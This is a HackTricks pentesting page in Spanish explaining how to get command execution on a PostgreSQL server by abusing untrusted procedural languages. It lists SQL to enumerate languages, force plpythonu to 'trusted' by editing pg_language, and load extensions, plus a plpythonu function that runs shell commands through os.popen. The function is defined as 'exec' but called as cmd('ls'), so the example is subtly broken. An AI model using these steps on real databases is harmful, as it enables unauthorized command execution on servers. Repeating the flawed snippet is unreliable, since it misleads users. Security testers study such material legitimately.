RCE with PostgreSQL Languages

Apoya a HackTricks

Lenguajes de PostgreSQL

La base de datos de PostgreSQL a la que tienes acceso puede tener diferentes lenguajes de scripting instalados que podrías abusar para ejecutar código arbitrario.

Puedes hacer que se ejecuten:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

La mayoría de los lenguajes de scripting que puedes instalar en PostgreSQL tienen 2 sabores: el confiable y el no confiable. El no confiable tendrá un nombre terminado en "u" y será la versión que te permitirá ejecutar código y usar otras funciones interesantes. Estos son lenguajes que, si están instalados, son interesantes:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (cualquier otro lenguaje de programación que use una versión insegura)

Si encuentras que un lenguaje interesante está instalado pero no confiable por PostgreSQL (lanpltrusted es false) puedes intentar confiarlo con la siguiente línea para que no se apliquen restricciones por parte de PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Si no ves un lenguaje, podrías intentar cargarlo con (necesitas ser superadministrador):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Tenga en cuenta que es posible compilar las versiones seguras como "inseguras". Consulte esto como ejemplo. Así que siempre vale la pena intentar si puede ejecutar código incluso si solo encuentra instalada la confiable.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Consulta la siguiente página:

PL/pgSQL Password Bruteforce

C

Consulta la siguiente página:

RCE with PostgreSQL Extensions
Apoya a HackTricks

Last updated